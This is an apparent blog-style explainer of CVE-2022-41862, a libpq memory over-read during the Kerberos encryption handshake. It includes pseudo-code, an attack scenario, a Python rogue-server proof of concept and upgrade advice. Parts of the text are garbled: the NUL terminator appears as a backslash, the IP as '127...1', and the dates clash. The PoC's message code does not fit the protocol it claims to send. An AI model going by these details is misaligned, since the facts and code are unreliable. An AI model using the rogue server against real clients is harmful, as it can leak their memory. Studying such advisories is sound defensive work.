CVE-2022-41862 - Exploiting Unterminated Strings in PostgreSQL’s Kerberos Encryption Handshake

In October 2022, PostgreSQL revealed a security vulnerability (CVE-2022-41862) related to its client library, libpq, and how it handles Kerberos encrypted connections. Specifically, a malicious, unauthenticated server can send an improperly formatted (unterminated) string during the Kerberos handshake process, leading libpq on the client side to over-read memory and potentially include uninitialized bytes in error messages. This post will break down the bug, provide code insights, and show you how the exploit works—all in simple terms.

What Is Affected?

- PostgreSQL client applications that use the libpq library for Kerberos-based encrypted connections.

Environments where the client connects to an untrusted or attacker-controlled server.

Note: This is not a typical remote code execution bug, but rather an information leak—it may reveal tiny fragments of memory from the client.

How Does It Happen?

When a PostgreSQL client uses Kerberos (GSSAPI) to connect with server encryption, it starts a handshake. As part of this handshake, the server sends a "GSS response" message containing a string. The client expects this string to be NUL-terminated (ending with a \ character).

A malicious server, however, can intentionally send a string without a proper terminator. When the libpq client tries to process this, it can "run off the end" of the buffer and keep reading memory until it randomly finds a zero byte. If an error occurs and is reported, the error message may include random memory bytes—which are uninitialized and could contain sensitive info.

The problem comes from this part of src/interfaces/libpq/fe-auth.c (abbreviated for clarity)

// Simplified pseudo-code from PostgreSQL
char *received_string = ...; // Data from the server
char buf[256];
snprintf(buf, sizeof(buf), "received: %s", received_string);
// → If received_string is not NUL-terminated, over-read beyond buffer!

The expected “received_string” is supposed to end with a zero, but the malicious server omits it, causing buf to capture data beyond the intended memory if not careful.

Reference: PostgreSQL Security Release

Attacking Scenario

1. Malicious Server Setup: Attacker sets up a fake PostgreSQL server (could use a simple Python tool or even netcat).
2. Client Connection: Victim client attempts to connect using GSSAPI/Kerberos encryption.
3. Sending Malicious Data: The fake server sends an authentication message with a non-terminated string (e.g., raw bytes with no trailing \).
4. libpq Over-Reads: The client’s libpq tries to process the server’s response, looking for the zero byte—traversing beyond the string buffer into other memory.
5. Error Message Contains Memory: If the error is triggered and logged or displayed, part of the client’s memory (perhaps some sensitive info) is revealed.

Here’s how a fake server could send an unterminated string (just for research/educational use)

import socket

def malicious_pg_server():
    SERVER_IP = "127...1"
    SERVER_PORT = 5432

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind((SERVER_IP, SERVER_PORT))
    s.listen(1)
    print("Evil PostgreSQL server listening...")

    conn, addr = s.accept()
    print(f"Connection from {addr}")

    # Send enough to get the client to do GSS API startup
    # This is an oversimplification!
    malicious_message = b'\x00\x00\x00\x10'  # Fake message length
    malicious_message += b'\x70'             # AuthenticationGSSContinue code
    malicious_message += b'AAAAAAAABBBBBBBBCCCCCCC'  # Not nul-terminated!

    conn.sendall(malicious_message)
    conn.close()

if __name__ == "__main__":
    malicious_pg_server()

When the vulnerable libpq client connects, it will process the fake GSS API message and can leak memory in error messages.

What Could Be Leaked?

- Small amounts of uninitialized memory from the client process, e.g., recently handled data, stack variables, or (theoretically) passwords if unlucky.

Upgrade to PostgreSQL 15.1, 14.6, 13.9, 12.13, 11.18 or later.

- If you can't upgrade, avoid GSS/Kerberos connections to untrusted servers, or use a network firewall to block connections to unknown addresses.

The patch checks string termination more carefully before using it in error messages.

Reference: Official Release Notes

Client-side vulnerabilities DO matter, especially when connecting to untrusted or weird servers.

- Always sanitize memory buffers and check string boundaries, especially when protocols can carry arbitrary data.

Further Reading

- Upstream PostgreSQL Announcement
- NVD CVE Entry
- PostgreSQL Community Report


*Stay safe! Always be mindful about what servers your database client talks to, and keep your software patched.*

Timeline

Published on: 03/03/2023 16:15:00 UTC
Last modified on: 03/14/2023 15:17:00 UTC